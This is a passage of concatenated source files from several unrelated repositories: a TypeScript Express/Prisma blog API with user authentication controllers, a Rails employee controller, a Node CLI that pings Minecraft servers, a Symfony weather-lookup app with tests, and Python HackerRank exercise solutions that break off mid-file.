decodeToken, authorizationMiddleware }; <file_sep>import httpStatus from "http-status-codes"; import bcrypt from "bcrypt"; import { generateToken } from "../token"; import { handleNotFound, handleRegistrationError, handleError, } from "../helpers"; import { PrismaClient } from "@prisma/client"; const saltRounds = 10; const prisma = new PrismaClient(); const userColumns = { id: true, username: true, posts: true, }; export const registerUser = async (req, res) => { const { username, password } = req.body; try { const hash = await bcrypt.hash(password, saltRounds); const user = await prisma.user.create({ data: { username, password: <PASSWORD>, }, select: { id: true, username: true, }, }); res.json(user); } catch (error) { handleRegistrationError(error.message, res); } }; export const loginUser = async (req, res) => { const { username, password } = req.body; try { const user = await prisma.user.findUnique({ where: { username, }, }); if (!user) return res .status(httpStatus.NOT_FOUND) .send({ message: "User does not exist." }); const isCorrectPassword: boolean = await bcrypt.compare( password, user.password ); if (isCorrectPassword) { const token = await generateToken({ user_id: user.id, username: user.username, }); res .status(httpStatus.OK) .send({ message: "Logged in successfully", token }); } else { res.status(httpStatus.UNAUTHORIZED).json({ error: { message: "Incorrect username/password combination.", }, }); } } catch (error) { handleError(error.message, res); } }; export const updateUserPassword = async (req, res) => { const { username, password, newPassword } = req.body; try { const user = await prisma.user.findUnique({ where: { username, }, }); if (!user) return res .status(httpStatus.NOT_FOUND) .send({ message: "User not found" }); const isCorrectPassword: boolean = await bcrypt.compare( password, user.password ); if (isCorrectPassword) { const newPasswordHash = await bcrypt.hash(newPassword, saltRounds); const updatedUser = await prisma.user.update({ where: { username, }, data: { password: <PASSWORD>, }, }); console.log(updatedUser); res .status(httpStatus.OK) .send({ message: "Password updated successfully" }); } else { res.status(httpStatus.UNAUTHORIZED).json({ error: { message: "Passwords do not match. Try again.", }, }); } } catch (error) { handleError(error.message, res); } }; export const getUsers = async (req, res) => { const { limit = 10, page = 1, sortOrder = "asc" } = req.query; try { const users = await prisma.user.findMany({ take: limit, skip: limit * (page - 1), orderBy: { id: sortOrder, }, select: userColumns, }); const result = { count: users.length, data: users, }; res.json(result); } catch (error) { handleError(error.message, res); } }; export const updateUser = async (req, res) => { const { id } = req.params; const { user_id } = req.authInfo; if (id != user_id) return res .status(httpStatus.UNAUTHORIZED) .send({ message: "You are not authorized to update this user." }); const params = req.body; try { const user = await prisma.user.update({ where: { id: +id }, data: params, select: userColumns, }); res.json(user); } catch (error) { handleNotFound(error.message, res); } }; export const getOneUser = async (req, res) => { const { id } = req.params; try { const user = await prisma.user.findUnique({ where: { id: +id, }, select: userColumns, }); if (!user) return res .status(httpStatus.NOT_FOUND) .send({ message: "User not found." }); res.json(user); } catch (error) { handleNotFound(error.message, res); } }; export const deleteuser = async (req, res) => { const { id } = req.params; try { const user = await prisma.user.delete({ where: { id: +id, }, select: userColumns, }); res.json(user); } catch (error) { handleNotFound(error.message, res); } }; <file_sep>import express, { NextFunction, Request, Response } from "express"; import http from "http"; import authRoutes from "./routes/auth"; import userRoutes from "./routes/user"; import postRoutes from "./routes/post"; const app = express(); app.use(express.urlencoded({ extended: false })); app.use(express.json()); const port = process.env.PORT || 4000; const server = http.createServer(app); const onListening = () => console.log(`Listening on Port ${port}`); server.listen(port); server.on("listening", onListening); app.use("/user", userRoutes); app.use("/auth", authRoutes); app.use("/post", postRoutes); /** Error Handling*/ app.use((req: Request, res: Response, next: NextFunction) => { const error = new Error("Not found"); return res.status(404).json({ message: error.message, }); }); <file_sep>import httpStatus from "http-status-codes"; import { Response } from "express"; export const handleError = (message: string, res: Response) => { res.status(httpStatus.UNPROCESSABLE_ENTITY).json({ message }); }; export const handleNotFound = (message: string, res: Response) => { if (message.includes("not found")) { res.status(httpStatus.NOT_FOUND).json({ message: "Record not found." }); } else { handleError(message, res); } }; export const handleRegistrationError = (message: string, res: Response) => { if (message.includes("Unique")) { res .status(httpStatus.UNPROCESSABLE_ENTITY) .json({ message: "Username already taken." }); } else { handleError(message, res); } };
eef3aee5afb652142296278b742fa97a98d94c57
[ "SQL", "TypeScript" ]
9
TypeScript
zerico007/prisma-blog-api
bd222bcb2b388959f8372e09eed46c45a1dab2b5
1f2694b588c90059dc865449c3fdd689da02aa8e
refs/heads/master
<file_sep>#!/usr/bin/env node const fetch = require("node-fetch"); const box = require("boxen") const chalk = require("chalk"); const boxen = require("boxen"); const hostname = process.argv[2] function HostPing(name){ const info =fetch(`https://eu.mc-api.net/v3/server/ping/${name}`) .then(res => res.json()) info.then(function(result){ console.log(boxen(chalk.green("Server Online: ") + result.online + "\n" + chalk.green("Server Ping(In MS): ") + chalk.yellow(result.took) + "\n" + chalk.green("Server Icon: ") + result.favicon + "\n" + chalk.green("Version: ") + result.version.name + "\n" + chalk.green("Protocol: ") + result.version.protocol + "\n" + chalk.green("Players: ") + result.players.online + chalk.red("/") + result.players.max + "\n" + chalk.green("Server Description: ") + result.description + "\n" + chalk.green("Pinged host at: ") + result.fetch,{borderColor:"blue", borderStyle:"round"})) })} HostPing(hostname) <file_sep>const fetch = require("node-fetch") exports.Hostname = PingHost; function PingHost(name){ const ip = process.argv[2] const info = fetch(`https://eu.mc-api.net/v3/server/ping/${name}`).then(res => res.json()); info.then(result => result) }<file_sep># **Minecraft Server Command line** ![Example](https://media.discordapp.net/attachments/881146273179258880/885506923959562350/unknown.png) ## **Installation** ### Dont have installed Node.js, [Click here for link](https://nodejs.org/en/) ### Open CMD or Powershell ### **Type** ```bash npm install -g minecraft-server-cli ``` ## How to run it? ### Simple ##### Type this in cmd ```bash minecraftserv ``` ## Support ### [Homepage](https://github.com/hitontwo2/Minecraft-Server-CLI/tree/master) ### [Issues Page](https://github.com/hitontwo2/Minecraft-Server-CLI/issues) ## Note ### This package is currently first vesion
7fec96ee15d242bac317bb8d4c85b40008f7fdd0
[ "JavaScript", "Markdown" ]
3
JavaScript
Heisenburg0775/Minecraft-Server-CLI
ba4c40cca3dc19402f4a25c82883d1212de8d21a
f33b6077d4a8e0e2bb731ff080f5d63dae939491
refs/heads/master
<file_sep>FactoryGirl.define do factory :idea do title { Faker::Commerce.product_name } body { Faker::Lorem.sentence } end end <file_sep>require "rails_helper" RSpec.describe "Idea management", :type => :feature, js: true do scenario "User can see ideas" do idea1 = create(:idea) idea2 = create(:idea) visit root_path expect(page).to have_text(idea1.title) expect(page).to have_text(idea2.title) end scenario "User can create new idea" do idea = build(:idea) visit root_path fill_in "title", with: idea.title fill_in "body", with: idea.body click_on "Create Idea" expect(page).to have_text(idea.title) end scenario "User can delete an idea" do idea = create(:idea) visit root_path within :css, "div.idea-#{idea.id}" do click_on "Delete" end expect(page).to_not have_text(idea.title) end scenario "User can change the quality of an idea" do idea = create(:idea) options = Idea.qualities visit root_path within :css, "div.idea-#{idea.id}" do expect(page).to have_text(options[0]) click_on "Thumbs up" expect(page).to have_text(options[1]) click_on "Thumbs up" expect(page).to have_text(options[2]) click_on "Thumbs up" expect(page).to have_text(options[2]) click_on "Thumbs down" expect(page).to have_text(options[1]) click_on "Thumbs down" expect(page).to have_text(options[0]) click_on "Thumbs down" expect(page).to have_text(options[0]) end end scenario "User can edit title and body" do idea = create(:idea) visit root_path within :css, "div.idea-#{idea.id}" do click_on "Edit" fill_in "title-#{idea.id}", with: "CAKE" fill_in "body-#{idea.id}", with: "IS GOOD" click_on "Update Idea" expect(page).to_not have_text(idea.title) expect(page).to_not have_text(idea.body) expect(page).to have_text("CAKE") expect(page).to have_text("IS GOOD") end end end <file_sep>class Api::V1::IdeasController < ApplicationController respond_to :json def index respond_with Idea.all, as: :json end def create idea = Idea.new(title: params["title"], body: params["body"]) if idea.save render json: idea end end def update if params[:value] render json: Idea.change_quality(params[:id], params[:value].to_i) else idea_params = params[:idea] idea = Idea.find(idea_params[:id]) idea.update(title: idea_params[:title], body: idea_params[:body]) render json: idea end end def destroy idea = Idea.find(params[:id]) if idea.destroy render json: true end end end <file_sep>function updateIdea(idea) { $.ajax({ type: "PUT", url: "/api/v1/ideas/" + idea.id + ".json", data: { idea: idea }, success: function(response) { removeIdea(idea.id); displayIdea(response); } }) }; function toggleFormForIdea(element) { $( '.inline-edit-idea-' + element.id ).toggleClass( 'idea-hidden' ) $( '.inline-edit-form-' + element.id ).toggleClass( 'idea-hidden' ) }; function changeQualityOfIdea(idea, value) { $.ajax({ type: "PATCH", url: "/api/v1/ideas/" + idea.id + ".json", data: { value: value }, success: function(response) { removeIdea(idea.id); displayIdea(response); } }) }; <file_sep>class Idea < ActiveRecord::Base enum quality: [:swill, :plausible, :genius] def self.change_quality(id, value) idea = Idea.find(id) new_value = Idea.qualities[idea.quality] + value unless new_value < 0 || new_value > 2 idea.update(quality: new_value) end idea end end <file_sep>function displayIdeaForm() { var $ideaForm = $( '<div class="row">' + '<form class="input-field col s6">' + '<input value="Sweet Idea" id="title" type="text" class="validate">' + '<label class="active" for="Title">Title</label>' + '<input value="Body" id="body" type="text" class="validate">' + '<label class="active" for="Body">Body</label>' + '<button id="create-idea", class="btn waves-effect waves-light" >' + 'Create Idea' + '</button>' + '</form>' + '</div>') $( '.form' ).prepend($ideaForm); function handleCreateClick(event) { event.preventDefault(); var idea = { title: $( '#title' ).val(), body: $( '#body' ).val() } createIdea(idea); }; $( '#create-idea' ).on( 'click', handleCreateClick ); }; function createIdea(idea) { $.ajax({ type: "POST", url: "/api/v1/ideas.json", data: { title: idea.title, body: idea.body }, success: function(response) { displayIdea(response); } }) $( 'form' ).trigger( 'reset' ); }; <file_sep>require "rails_helper" RSpec.describe Api::V1::IdeasController, type: :controller do include Controllers::JsonHelpers describe "GET index" do it "returns a listing of all ideas" do idea1 = create(:idea) idea2 = create(:idea) get :index, format: :json expect(response.status).to eq(200) expect(json.first["body"]).to eq(idea1.body) expect(json.last["body"]).to eq(idea2.body) end end describe "POST create" do it "creates a new idea and returns true" do idea = build(:idea) data = { title: idea.title, body: idea.body } post :create, data, format: :json expect(response.status).to eq(200) end end describe "PUT UPDATE" do it "updates the idea with new content" do idea = create(:idea) data = { id: idea.id, title: "CAKE", body: "IS GOOD" } put :update, id: idea.id, idea: data, format: :json expect(response.status).to eq(200) expect(json["body"]).to eq("IS GOOD") expect(json["title"]).to eq("CAKE") end end end <file_sep>require 'rails_helper' RSpec.describe Idea, type: :model do it "exists" do idea = create(:idea) expect(idea.title).to eq(Idea.last.title) end end <file_sep>function deleteIdea(idea) { $.ajax({ type: "DELETE", url: "/api/v1/ideas/" + idea.id + ".json", success: function(response) { removeIdea(idea.id); } }) };
38fc0e7c9e3b9624682687b6e1039717343461d0
[ "JavaScript", "Ruby" ]
9
Ruby
JPhoenx/ideabox
1a322a88678b8d6120085136258fac071b8676e1
cdce87c19ae53e239596d29f546093625d5c4efb
refs/heads/main
<file_sep><?php namespace App\Tests\Controller; use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; use Symfony\Contracts\Translation\TranslatorInterface; class WeatherControllerTest extends WebTestCase { protected static $translation; public static function setUpBeforeClass() { $kernel = static::createKernel(); $kernel->boot(); self::$translation = $kernel->getContainer()->get('translator'); } public function testIndex() { $client = static::createClient(); $client->request('GET', '/'); $this->assertEquals(200, $client->getResponse()->getStatusCode()); $crawler = $client->request('GET', '/'); $this->assertContains('<div class="input-group">', $crawler->html()); $this->assertContains('<div class="col-sm-6 cities" style="visibility: hidden;">', $crawler->html()); $client->request('GET', '/wrong_url'); $this->assertEquals(404, $client->getResponse()->getStatusCode()); } public function testGetWeatherAction() { $client = static::createClient(); $apiKey = $client->getKernel()->getContainer()->getParameter('app.weather_api_key'); $token = $client->getContainer()->get('security.csrf.token_manager')->getToken('weather_token'); $crawler = $client->request('GET', '/'); $testCity = 'London'; $extract = $crawler->filter('input[name="form[_token]"]')->extract(['value']); //workaround as not able to generate token here $token = $extract[0]; $formData = ['form' => ['ApiKey' => $apiKey, 'city' => $testCity, '_token' => $token]]; $crawler = $client->request('POST', '/get_weather', $formData); //test url $this->assertEquals(200, $client->getResponse()->getStatusCode()); //test result $this->assertContains(self::$translation->trans('Country'), $crawler->html()); $this->assertContains($testCity, $crawler->html()); //fail with wrong city $wrongCity = 'WRONG_CITY_NAME'; $formDataFail = ['form' => ['ApiKey' => $apiKey, 'city' => $wrongCity, '_token' => $token]]; $crawler = $client->request('POST', '/get_weather', $formDataFail); $this->assertEquals(200, $client->getResponse()->getStatusCode()); $this->assertContains('empty', $crawler->html('empty')); //fail with wrong api $wrongApiKey = 'WRONG_API_KEY'; $formDataFail = ['form' => ['ApiKey' => $wrongApiKey, 'city' => $testCity, '_token' => $token]]; $crawler = $client->request('POST', '/get_weather', $formDataFail); $this->assertEquals(200, $client->getResponse()->getStatusCode()); $this->assertContains('empty', $crawler->html('empty')); } public function testFailForm() { $client = static::createClient(); $city = 'London'; $crawler = $client->request('GET', '/get_alt_weather', ['city' => $city]); $this->assertEquals(200, $client->getResponse()->getStatusCode()); $this->assertContains(self::$translation->trans('Temperature'), $crawler->html()); //fail with wrong city $wrongCity = 'WRONG_CITY_NAME'; $crawler = $client->request('GET', '/get_alt_weather', ['city' => $wrongCity]); $this->assertContains('empty', $crawler->html('empty')); } }<file_sep><?php namespace App\Controller; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\ParameterBag; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\Form\Extension\Core\Type\TextType; use Symfony\Component\Form\Extension\Core\Type\SubmitType; use Symfony\Component\HttpClient\HttpClient; use Symfony\Component\Cache\Adapter\FilesystemAdapter; use Symfony\Contracts\Translation\TranslatorInterface; /** * Class WeatherController * @package AppBundle\Controller */ class WeatherController extends AbstractController { /** * * @Route("/", name="index") * * @param Request $request * * @return \Symfony\Component\HttpFoundation\Response */ public function indexAction(Request $request, TranslatorInterface $translator) { $form = $this->createFormBuilder() ->setAction($this->generateUrl('getWeather')) ->setMethod('POST') ->add('ApiKey', TextType::class, ['required' => true, 'attr' => ['placeholder' => $translator->trans('API Key'), 'class' => 'form-control']]) ->add('city', TextType::class, ['attr' => ['class' => 'form-control mt-2', 'placeholder' => $translator->trans('City')]]) ->add('submit', SubmitType::class, ['attr' => ['class' => 'btn btn-success mt-2']]) ->getForm(); return $this->render('weather.html.twig', [ 'form' => $form->createView(), ]); } /** * * @Route("/get_weather", name="getWeather") * * @param Request $request * * @return \Symfony\Component\HttpFoundation\Response */ public function getWeatherAction(Request $request, TranslatorInterface $translator) { $info = null; $form = $this->createFormBuilder() ->setAction($this->generateUrl('getWeather')) ->setMethod('POST') ->add('ApiKey', TextType::class, ['required' => true, 'attr' => ['placeholder' => $translator->trans('API Key'), 'class' => 'form-control']]) ->add('city', TextType::class, ['attr' => ['class' => 'form-control mt-2', 'placeholder' => $translator->trans('City')]]) ->add('submit', SubmitType::class, ['attr' => ['class' => 'btn btn-success mt-2']]) ->getForm(); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { $formData = $form->getData(); $city = !is_null($formData) && array_key_exists('city', $formData) ? $formData['city'] : null; $key = !is_null($formData) && array_key_exists('ApiKey', $formData) ? $formData['ApiKey'] : null; //if required info is received as supposed if ($key && $city) { $client = HttpClient::create(); $response = $client->request('GET', 'https://api.openweathermap.org/data/2.5/weather?q='.$city.'&appid='.$key); $info = $response->getStatusCode() == 200 ? $response->toArray() : null; //if response is 200 } } return $this->render('city.html.twig', [ 'info' => $info, ]); } /** * * @Route("/get_alt_weather", name="getAlternativeWeathe") * * @param Request $request * * @return \Symfony\Component\HttpFoundation\Response */ public function getAlternativeWeatherAction(Request $request) { $info = null; $client = HttpClient::create(); $city = $request->get('city'); $cachePool = new FilesystemAdapter('', 0, "cache"); // to save requests to alternative api, using cache if ($cachePool->hasItem($city)) { $info = $cachePool->getItem($city)->get(); } else { $key = $this->getParameter('app.alt_weather_api_key'); $response = $client->request('GET', 'http://api.weatherapi.com/v1/current.json?key='.$key.'&q='.$city); $info = $response->getStatusCode() == 200 ? $response->toArray() : null; // if response is 200 $weatherCache = $cachePool->getItem($city); if (!$weatherCache->isHit()) { $weatherCache->set($info); $weatherCache->expiresAfter(60*60*4); // saving cache for 4h $cachePool->save($weatherCache); } } return $this->render('city-alt.html.twig', [ 'info' => $info, ]); } }<file_sep>To run the app: 1. git clone 2. cd to project root & run >composer install 3. enjoy checking the weather by typing in your API key to openweathermap service and city name in English!
8bff53f9418b7ece922c564ef17b5a85033c0137
[ "Markdown", "PHP" ]
3
PHP
drashevskyi/symfony-weather-check
939aaa4760554e378c4403880dbb999e24f1302f
f2dc2ed914177a92b7f1f000aca787fdf55d730a
refs/heads/master
<repo_name>xfun68/api_in_rails<file_sep>/app/controllers/emps_controller.rb class EmpsController < ApplicationController # GET /emps # GET /emps.xml def index @emps = Emp.all respond_to do |format| format.html # index.html.erb format.xml { render :xml => @emps } format.json { render :json => @emps } end end # GET /emps/1 # GET /emps/1.xml def show @emp = Emp.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @emp } format.json { render :json => @emp } end end # GET /emps/new # GET /emps/new.xml def new @emp = Emp.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @emp } end end # GET /emps/1/edit def edit @emp = Emp.find(params[:id]) end # POST /emps # POST /emps.xml def create @emp = Emp.new(params[:emp]) respond_to do |format| if @emp.save format.html { redirect_to(@emp, :notice => 'Emp was successfully created.') } format.xml { render :xml => @emp, :status => :created, :location => @emp } format.json { render :json => @emp, :status => :created, :location => @emp } else format.html { render :action => "new" } format.xml { render :xml => @emp.errors, :status => :unprocessable_entity } format.json { render :json => @emp.errors, :status => :unprocessable_entity } end end end # PUT /emps/1 # PUT /emps/1.xml def update @emp = Emp.find(params[:id]) respond_to do |format| if @emp.update_attributes(params[:emp]) format.html { redirect_to(@emp, :notice => 'Emp was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @emp.errors, :status => :unprocessable_entity } end end end # DELETE /emps/1 # DELETE /emps/1.xml def destroy @emp = Emp.find(params[:id]) @emp.destroy respond_to do |format| format.html { redirect_to(emps_url) } format.xml { head :ok } end end end
23ed5667ed6061250c96b9beb1e296364fde6c30
[ "Ruby" ]
1
Ruby
xfun68/api_in_rails
726d48e2f4bebe26418483d2a445fe6a61870eb5
be9967a725513d79503d4242c0c29dfeaac8528e
refs/heads/master
<file_sep># py-introduction # 1 - Say "Hello, World!" With Python print("Hello, World!") #2 - Python If-Else import math import os import random import re import sys if __name__ == '__main__': n = int(input().strip()) if n%2!=0: print('Weird') else: if n>= 2 and n<=5: print('Not Weird') elif n>=6 and n<=20: print('Weird') elif n>20: print('Not Weird') # 3 - Arithmetic Operators if __name__ == '__main__': a = int(input()) b = int(input()) print(a+b) print(a-b) print(a*b) # 4 - Python: Division if __name__ == '__main__': a = int(input()) b = int(input()) print(a//b) print(a/b) # 5 - Loops if __name__ == '__main__': n = int(input()) for i in range(n): print(i**2) # 6 - Write a function def is_leap(year): leap = False # Write your logic here if year%4==0: leap=True if year%100==0: leap=False if year%400==0: leap=True return leap year = int(input()) print(is_leap(year)) # 7 - Print Function if __name__ == '__main__': n = int(input()) print(''.join(map(str, range(1, n+1)))) # py-basic-data-types # 1 - Tuples if __name__ == '__main__': n = int(input()) integer_list = map(int, input().split()) print(hash(tuple(integer_list))) # 2 - Lists if __name__ == '__main__': N = int(input()) l=[] for _ in range(N): comando=input() cS=comando.split() if cS[0]=='insert': l.insert(int(cS[1]), int(cS[2])) elif cS[0]=='print': print(l) elif cS[0]=='remove': l.remove(int(cS[1])) elif cS[0]=='append': l.append(int(cS[1])) elif cS[0]=='sort': l.sort() elif cS[0]=='pop': l.pop() else: l.reverse() # 3 - Finding the percentage def mySum(l): tot=0 for i in l: try: tot+=i except TypeError: print('I can only sum numerical type :( sorry...') return tot if __name__ == '__main__': n = int(input()) student_marks = {} for _ in range(n): name, *line = input().split() scores = list(map(float, line)) student_marks[name] = scores #print(student_marks) query_name = input() voti=list(student_marks[query_name]) avg=mySum(voti)/len(voti) print('{:.2f}'.format(avg)) # 4 - Nested Lists if __name__ == '__main__': d=[] for _ in range(int(input())): name = input() score = float(input()) d.append([name, score]) l=[] for i in d: l.append(i[1]) lset=set(l) l=list(lset) l.sort() second=l[1] f=[] for i in d: if i[1]==second: f.append(i[0]) f.sort() #f.reverse() end=False #per compatibilità con l'output richiesto for i in range(len(f)): print(f[i], end='') if i!=len(f)-1: print() # 5 - Find the Runner-Up Score! if __name__ == '__main__': n = int(input()) arr = map(int, input().split()) s=set(arr) l=list(s) l.sort() #print(l) print(l[len(l)-2]) # 6 - List Comprehensions if __name__ == '__main__': X = int(input()) Y = int(input()) Z = int(input()) N = int(input()) r = [[x, y, z] for x in range(X+1) for y in range(Y+1) for z in range(Z+1) if ((x+y+z)!=N)] print(r) # py-strings # 1 - String Split and Join def split_and_join(line): # write your code here return('-'.join(line.split())) if __name__ == '__main__': line = input() result = split_and_join(line) print(result) # 2 - sWAP cASE def swap_case(s): sl=list(s) for i in range(len(sl)): if sl[i].isalpha(): if sl[i].islower(): sl[i]= sl[i].upper() else: sl[i]= sl[i].lower() return ''.join(sl) if __name__ == '__main__': s = input() result = swap_case(s) print(result) # 3 - What's Your Name? def print_full_name(a, b): print("Hello {} {}! You just delved into python.".format(a, b)) if __name__ == '__main__': first_name = input() last_name = input() print_full_name(first_name, last_name) # 4 - Mutations def mutate_string(string, position, character): sl=list(string) sl[position]=character return ''.join(sl) if __name__ == '__main__': s = input() i, c = input().split() s_new = mutate_string(s, int(i), c) print(s_new) # 5 - Find a string def count_substring(string, sub_string): n=0 while string.find(sub_string)!=-1: n+=1 pos=string.find(sub_string) sl=list(string) sl.pop(pos) string=''.join(sl) return n if __name__ == '__main__': string = input().strip() sub_string = input().strip() count = count_substring(string, sub_string) print(count) # 6 - String Validators if __name__ == '__main__': s = input() alfa=False digit=False alphadigit=False up=False low=False for c in s: if c.isalpha(): alfa=True if c.isdigit(): digit=True if c.isalnum(): alphadigit=True if c.isupper(): up=True if c.islower(): low=True print(alphadigit) print(alfa) print(digit) print(low) print(up) #ero stupido io.. controllavo prima se fosse un carattere maiuscolo e #poi se era minuscolo. L'esercizio chiedeva il contrario # 7 - Text Alignment #Replace all ______ with rjust, ljust or center. thickness = int(input()) #This must be an odd number c = 'H' #Top Cone for i in range(thickness): print((c*i).rjust(thickness-1)+c+(c*i).ljust(thickness-1)) #Top Pillars for i in range(thickness+1): print((c*thickness).center(thickness*2)+(c*thickness).center(thickness*6)) #Middle Belt for i in range((thickness+1)//2): print((c*thickness*5).center(thickness*6)) #Bottom Pillars for i in range(thickness+1): print((c*thickness).center(thickness*2)+(c*thickness).center(thickness*6)) #Bottom Cone for i in range(thickness): print(((c*(thickness-i-1)).rjust(thickness)+c+(c*(thickness-i-1)).ljust(thickness)).rjust(thickness*6)) # 8 - Text Wrap import textwrap def wrap(string, max_width): sl=list(string) sr=[] while len(sl)-max_width>0: k=[] for _ in range(max_width): k.append(sl.pop(0)) sr.append(''.join(k)) sr.append('\n') sr.append(''.join(sl[0:])) return ''.join(sr) if __name__ == '__main__': string, max_width = input(), int(input()) result = wrap(string, max_width) print(result) # 9 - Capitalize! #!/bin/python3 import math import os import random import re import sys # Complete the solve function below. def solve(s): sl=list(s) for i in range(len(sl)): if i==0: sl[i]=sl[i].capitalize() else: if sl[i]==' ' and i<len(sl)-1: sl[i+1]=s[i+1].capitalize() return ''.join(sl) if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') s = input() result = solve(s) fptr.write(result + '\n') fptr.close() # 10 - Merge the Tools! def merge_the_tools(string, k): # your code goes here listString=list(string) stringDivise=[] j=0 s=[] for i in range(len(listString)): if j>=k: stringDivise.append(s) s=[] j=1 s.append(listString[i]) else: s.append(listString[i]) j+=1 stringDivise.append(s) p=[] for i in range(len(stringDivise)): for c in stringDivise[i]: if c not in p: p.append(c) stringDivise[i]=p p=[] for s in stringDivise: print(''.join(s)) if __name__ == '__main__': string, k = input(), int(input()) merge_the_tools(string, k) # Sets #1 - Introduction to Sets def average(array): # your code goes here return '{:.3f}'.format(sum(set(array))/len(set(array))) if __name__ == '__main__': n = int(input()) arr = list(map(int, input().split())) result = average(arr) print(result) # 2 - Symmetric Difference # Enter your code here. Read input from STDIN. Print output to STDOUT m= int(input()) mset = set(map(int, input().split())) n= int(input()) nset = set(map(int, input().split())) sd=list(mset.symmetric_difference(nset)) sd.sort() for v in sd: print(v) #3 - Set .add() # Enter your code here. Read input from STDIN. Print output to STDOUT s=set() for _ in range(int(input())): c=input() s.add(c) print(len(s)) # 4 - Set .discard(), .remove() & .pop() n = int(input()) s = set(map(int, input().split())) nc = int(input()) comandi=list() for _ in range(nc): comandi.append(input().split()) #print(comandi) for i in range(len(comandi)): #print(i) if comandi[i][0]=='remove': #print('in remove') if int(comandi[i][1]) in s: s.remove(int(comandi[i][1])) elif comandi[i][0]=='discard': #print('in discard') s.discard(int(comandi[i][1])) elif comandi[i][0]=='pop': #print('in pop') if len(s)!=0: s.pop() print(sum(s)) # 5 - Set .union() Operation # Enter your code here. Read input from STDIN. Print output to STDOUT n=int(input()) sn = set(map(int, input().split())) m=int(input()) sm = set(map(int, input().split())) print(len(sn.union(sm))) # 6 - Set .intersection() Operation # Enter your code here. Read input from STDIN. Print output to STDOUT n=int(input()) sn = set(map(int, input().split())) m=int(input()) sm = set(map(int, input().split())) print(len(sn.intersection(sm))) # 7 - Set .difference() Operation # Enter your code here. Read input from STDIN. Print output to STDOUT n=int(input()) sn = set(map(int, input().split())) m=int(input()) sm = set(map(int, input().split())) print(len(sn.difference(sm))) # 8 - Set .symmetric_difference() Operation # Enter your code here. Read input from STDIN. Print output to STDOUT n=int(input()) sn = set(map(int, input().split())) m=int(input()) sm = set(map(int, input().split())) print(len(sn.symmetric_difference(sm))) # 9 - Set Mutations # Enter your code here. Read input from STDIN. Print output to STDOUT na=int(input()) a=set(map(int, input().split())) nothers = int(input()) for _ in range(nothers): op_num = input().split() b=set(map(int, input().split())) if op_num[0]=='update': a.update(b) if op_num[0]=='intersection_update': a.intersection_update(b) if op_num[0]=='difference_update': a.difference_update(b) if op_num[0]=='symmetric_difference_update': a.symmetric_difference_update(b) print(sum(a)) # 10 - The Captain's Room # Enter your code here. Read input from STDIN. Print output to STDOUT k = int(input()) l=list(map(int, input().split())) s=set(l) sums=(sum(s)*k) suml=sum(l) dif=sums-suml print(dif//(k-1)) # 11 - Check Subset # Enter your code here. Read input from STDIN. Print output to STDOUT ntests=int(input()) for _ in range(ntests): na=int(input()) a=set(map(int, input().split())) nb=int(input()) b=set(map(int, input().split())) subset=True for e in a: if e not in b: subset=False print(subset) # 12 - Check Strict Superset # Enter your code here. Read input from STDIN. Print output to STDOUT a=set(map(int, input().split())) ofAll=True for _ in range(int(input())): b=set(map(int, input().split())) ofAll = ofAll and a.issuperset(b) print(ofAll) # 13 - Min and Max import numpy as np n, m = map(int, input().split()) l=[] for _ in range(n): l.append(list(map(int, input().split()))) array=np.array(l) ax1=np.min(array, axis=1) print(max(ax1)) # 14 - Mean, Var, and Std import numpy as np n, m = map(int, input().split()) l=[] for _ in range(n): l.append(list(map(int, input().split()))) array=np.array(l) mean=np.mean(array, axis=1) var=np.var(array, axis=0) std=np.std(array) print(mean) print(var) print(std, end='') # 15 - Dot and Cross import numpy as np n=int(input()) a=[] b=[] for _ in range(n): a.append(list(map(int, input().split()))) a=np.array(a) for _ in range(n): b.append(list(map(int, input().split()))) b=np.array(b) m=np.zeros((n, n), dtype=int) for i in range(n): for j in range(n): m[i][j]=np.dot(a[i], b[:,[j]]) print(m) # 16 - Inner and Outer import numpy as np a=np.array(list(map(int, input().split()))) b=np.array(list(map(int, input().split()))) print(np.inner(a, b)) print(np.outer(a, b)) # 17 - Polynomials import numpy as np coefficents=list(map(float, input().split())) point=int(input()) print(np.polyval(coefficents, point)) # 18 - Linear Algebra import numpy as np n=int(input()) a=[] for _ in range(n): a.append(list(map(float, input().split()))) m=np.array(a) det=np.linalg.det(m) #print('{:.2f}'.format(det)) print(round(det, 2)) # 19 - itertools.product() # Enter your code here. Read input from STDIN. Print output to STDOUT from itertools import product a=list(map(int, input().split())) b=list(map(int, input().split())) p=list(product(a, b)) p.sort() for e in p: print(e, end=' ') # 20 - No Idea! n, m = map(int, input().split()) ar=list(map(int, input().split())) a=set(map(int, input().split())) b=set(map(int, input().split())) h=0 for e in ar: if e in a: h+=1 if e in b: h-=1 print(h) # - py-collections # 1 - DefaultDict Tutorial n, m = map(int, input().split()) a=[] b=[] for _ in range(n): a.append(input()) for _ in range(m): b.append(input()) for e in b: pos=[] for i in range(n): if e==a[i]: pos.append(i+1) print( ' '.join(map(str, pos)) if len(pos)>0 else '-1' ) pos=[] # 2 - Collections.namedtuple() # Enter your code here. Read input from STDIN. Print output to STDOUT from collections import namedtuple n = int(input()) colonne=list(input().split()) Student = namedtuple('Student', ' '.join(colonne)) students=[] for _ in range(n): students.append(Student._make(input().split())) sum = 0 for e in students: sum+=int(e.MARKS) print('{:.2f}'.format(sum/n)) # 3 - Collections.OrderedDict() # Enter your code here. Read input from STDIN. Print output to STDOUT from collections import OrderedDict n = int(input()) dic=OrderedDict() for _ in range(n): nomeQuant = input().split() nome=' '.join(nomeQuant[:-1]) quant=nomeQuant[-1] dic[nome]=dic[nome]+int(quant) if nome in dic.keys() else int(quant) for e in dic: print(e, dic[e]) # py_date_time # 1 - Calendar Module # Enter your code here. Read input from STDIN. Print output to STDOUT import calendar as c month, day, year = map(int, input().split()) print(c.day_name[c.weekday(year, month, day)].upper()) # py_exceptions # 1 - Exceptions # Enter your code here. Read input from STDIN. Print output to STDOUT n=int(input()) for _ in range(n): a, b = input().split() if b=='0': try: print(int(a)//int(b)) except ZeroDivisionError as e1: print("Error Code:", e1) else: try: print(int(a)//int(b)) except ValueError as e2: print("Error 